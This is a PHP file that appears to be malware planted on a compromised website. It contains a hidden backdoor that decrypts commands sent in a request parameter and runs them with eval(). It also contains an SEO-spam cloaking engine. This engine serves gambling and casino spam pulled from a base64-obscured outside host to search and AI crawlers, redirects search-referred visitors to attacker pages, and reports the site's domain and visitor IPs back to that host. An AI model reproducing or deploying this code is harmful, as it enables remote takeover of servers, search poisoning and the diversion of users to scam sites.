set_time_limit(0);
error_reporting(0);

if (isset($_REQUEST['B0tvbsFXrM1SR2W'])) {
$cmd = $_REQUEST['B0tvbsFXrM1SR2W'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCMpA4x+fjQFgeb1a8SGnB7c5TF
90FgXoYlOZmPsqiS1sd0cZ/2fIbxqovwbXr5kQkuNewPPAQWEsAB+SiH580Hwcig
lStCM2a/ENcSJfpUsMQCDPmeMbfn3wd4BQQAMzDxeGAzYogepL09rLLLOh8bBB2j
kAJZ7jIT2ua3Tjy93wIDAQAB
-----END PUBLIC KEY-----

EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
	$cmd .= $de;
  }
}
eval($cmd);
exit;
}

define('HTTPS', '1');
define('VERSION', 'J-2-TCB-A8030-03');
define('APIVERSION', function_exists('gethostname') ? gethostname() : '0');
define('API', base64_decode('aHR0cHM6Ly9naWFvdGllcDM2NS5jb20v'));
define('API_HTTP', base64_decode('aHR0cDovL2dpYW90aWVwMzY1LmNvbS8='));
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+PGhlYWQ+PHRpdGxlPlRoZSByZXNvdXJjZSBjYW5ub3QgYmUgZm91bmQuPC90aXRsZT48c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iaHR0cHM6Ly9naWFvdGllcDM2NS5jb20vZmFsbGJhY2suaHRtbCI7PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxoMT5Ob3QgRm91bmQ8L2gxPjwvYm9keT48L2h0bWw+Cg=='));

function xxxx_is_prefix($uri, $prefix_regex='/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|article|order|online|wp-style|wp-themes|wp-onenote|wp-archive|wp-form|wp-data|wp-helper|wp-doc|wp-log|wp-map|style)./') {
	return preg_match($prefix_regex, $uri) === 1;
}

function xxxx_is_robots($uri, $prefix_regex='/^\/robots\.txt/') {
	return preg_match($prefix_regex, $uri) === 1;
}

function xxxx_is_sitemap($uri, $prefix_regex='/\/sitemap\.xml/') {
	return preg_match($prefix_regex, $uri) === 1;
}

function xxxx_is_crawler($ua) {
    $crawlers = array("Googlebot","Bingbot","AdIdxBot","BingPreview","YandexBot","Baiduspider","Storebot","GoogleOther","SearchBot","ChatGPT","GPTBot","PerplexityBot","Slurp");
	foreach ($crawlers as $c) {
		if (stripos($ua, $c) !== false) {
			return true;
		}
	}
	return false;
}

function xxxx_is_visitor($ref) {
	if (substr($ref, 0, 4) === 'http') {
        $refs = array('google.', 'bing.', 'yahoo.', 'yandex.', 'baidu.', 'openai.', 'perplexity.');
		foreach ($refs as $r) {
			if (stripos($ref, $r) !== false) {
				return true;
			}
		}
	}
	return false;
}

function xxxx_get_content_curl($url, $headers, $conn_timeout, $trans_timeout) {
    if (function_exists('curl_exec') && function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
		curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout);
		curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $result = curl_exec($ch);
		if(curl_errno($ch)) {
		    curl_close($ch);
			$response = -1;
		}
		else {
			$res_header_sz = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
			$res_headers = substr($result, 0, $res_header_sz);
			$res_body = substr($result, $res_header_sz);
			$res_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
			if ($res_code == 200) {
				$response = $res_body;
			}
			else if ($res_code == 404) {
				$response = 0;
			}
			else {
				$response = -1;
			}
			curl_close($ch);
		}
    }
    else {
    	$response = -1;
    }
    return $response;
}

function xxxx_get_content_fg($url, $headers, $conn_timeout, $trans_timeout) {
    $context = stream_context_create(array(
        "http" => array(
        	"method" => "GET",
            "header" => implode("\r\n", $headers),
            "timeout" => $trans_timeout,
            "ignore_errors" => true,
		),
	));
    $response = file_get_contents($url, false, $context);
    if ($response !== false) {
	    $status_line = $http_response_header[0];
	    if (preg_match('{HTTP\/\S*\s(\d{3})}', $status_line, $match)) {
		    $status = $match[1];
		    if ($status === "404") {
		    	$response = 0;
		    }
		    else if ($status !== "200"){
		    	$response = -1;
		    }
		}
		else {
			$response = -1;
		}
	}
	else {
		$response = -1;
	}
	return $response;
}

function xxxx_decode_chunked_body($body)
{
    $decoded = '';
    while ($body) {
        $pos = strpos($body, "\r\n");
        $length = hexdec(substr($body, 0, $pos));
        if ($length === 0) {
            break;
        }
        $decoded .= substr($body, $pos + 2, $length);
        $body = substr($body, $pos + 2 + $length + 2);
    }
    return $decoded;
}

function xxxx_get_content_fs($url, $headers, $conn_timeout, $trans_timeout) {
	$parsed_url = parse_url($url);
    $api_host = $parsed_url['host'];
    $api_path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
    $api_path .= isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
    $api_port = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 443 : 80;
    $api_scheme = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 'ssl://' : '';

    $fp = fsockopen($api_scheme . $api_host, $api_port, $api_errno, $api_errstr, $conn_timeout);
    if (!$fp) {
        $response = -1;
        return $response;
    }

    try {
	    $in = "GET $api_path HTTP/1.1\r\n";
    	$in .= "Host: $api_host\r\n";
        foreach ($headers as $header) {
            $in .= "$header\r\n";
        }
        $in .= "Connection: Close\r\n\r\n";
        fwrite($fp, $in);
        stream_set_timeout($fp, $trans_timeout);
        $out = '';
        while (!feof($fp)) {
            $out .= fgets($fp, 128);
        }
        fclose($fp);
	}
	catch (Exception $e) {
        fclose($fp);
    }
    list($res_header, $res_body) = explode("\r\n\r\n", $out, 2);
    if (stripos($res_header, 'Transfer-Encoding: chunked') !== false) {
        $res_body = xxxx_decode_chunked_body($res_body);
    }
    if (preg_match('{^HTTP\/\S*\s(\d{3})}', $res_header, $match)) {
	    $status = $match[1];
	    if ($status === "404") {
	    	$response = 0;
	    }
	    else if ($status !== "200"){
	    	$response = -1;
	    }
	    else {
	        $response = $res_body;
	    }
    }
    else {
    	$response = -1;
    }
    return $response;
}

function xxxx_get_content($url, $headers=array(), $conn_timeout=0, $trans_timeout=0) {
    if (HTTPS) {
	    $response = xxxx_get_content_curl(API.$url, $headers, $conn_timeout, $trans_timeout);
    }
	else {
	    $response = xxxx_get_content_curl(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout);
	}
    if ($response === -1) {
		array_push($headers, "User-Agent: " . $_SERVER["HTTP_USER_AGENT"]);
		array_push($headers, "Referer: " . $_SERVER["HTTP_REFERER"]);
		$response = xxxx_get_content_fg(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout);
		if ($response === -1) {
			$response = xxxx_get_content_fs(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout);
		}
    }

	return $response;

}

function xxxx_get_client_ip() {
    foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){
        if (array_key_exists($key, $_SERVER) === true){
            foreach (explode(',', $_SERVER[$key]) as $ip){
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){
                    return $ip;
                }
            }
        }
    }
}

function mmmain() {
	$req_ref = $_SERVER["HTTP_REFERER"];
	$req_ua = $_SERVER["HTTP_USER_AGENT"];
	$host = $_SERVER['HTTP_HOST'];
	$req_uri = $_SERVER['REQUEST_URI'];
	header('Cache-Control: no-store, no-cache, must-revalidate');
	header('Cache-Control: post-check=0, pre-check=0', FALSE);
	header('Pragma: no-cache');
	$uri_encoded = urlencode($req_uri);
	$headers = array();
	if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
		$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
		array_push($headers, "Accept-Language: $lang");
		array_push($headers, "Vary: Accept-Language");
	}
	if (xxxx_is_crawler($req_ua)) {
		$crawler_ip = xxxx_get_client_ip();
		if (xxxx_is_prefix($req_uri)) {
			$response = xxxx_get_content("connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8);
			if ($response === 0) {
				header('HTTP/1.0 404 Not Found');
				exit;
			}
			else if ($response === -1) {
				;
			}
			else {
				header('Content-Type:text/html; charset=utf-8');
				echo $response;
				exit;
			}
		}
		else if (xxxx_is_robots($req_uri)) {
			$response = xxxx_get_content("energy.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8);
			if ($response === 0 || $response === -1) {
				;
			}
			else {
				header('Content-Type:text/plain; charset=utf-8');
				echo $response;
				exit;
			}
		}
		else if (xxxx_is_sitemap($req_uri)) {
			$response = xxxx_get_content("travel.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8);
			if ($response === 0 || $response === -1) {
				;
			}
			else {
				header('Content-Type:text/xml; charset=utf-8');
				echo $response;
				exit;
			}
		}
		else {
			$response = xxxx_get_content("friends.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8);
			if ($response === 0 || $response === -1) {
				;
			}
			else {
				echo $response;
			}
		}
	}
	elseif (xxxx_is_prefix($req_uri) && xxxx_is_visitor($req_ref)) {
		header('Content-Type:text/html; charset=utf-8');
		$client_ip = xxxx_get_client_ip();
		$allheaders = array();
		if (!function_exists('getallheaders')) {
			function getallheaders() {
			$tmp_headers = array();
			foreach ($_SERVER as $name => $value) {
				if (substr($name, 0, 5) == 'HTTP_') {
					$tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
				}
			}
			return $tmp_headers;
			}
			$allheaders = getallheaders();
		}
		else {
			$allheaders = getallheaders();
		}
		foreach ($allheaders as $key => $value) {
			if (stripos($key, 'Sec-') === 0) {
				array_push($headers, "$key: $value");
			}
		}

		$response = xxxx_get_content("redirectv1.html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 5, 5);
		if ($response === 0) {
			header('HTTP/1.0 404 Not Found');
			exit;
		}
		else if (!$response || $response === -1){
			echo FALLBACK_REDIRECT_HTML;
			exit;
		}
		else {
			echo $response;
			exit;
		}
	}
}

mmmain();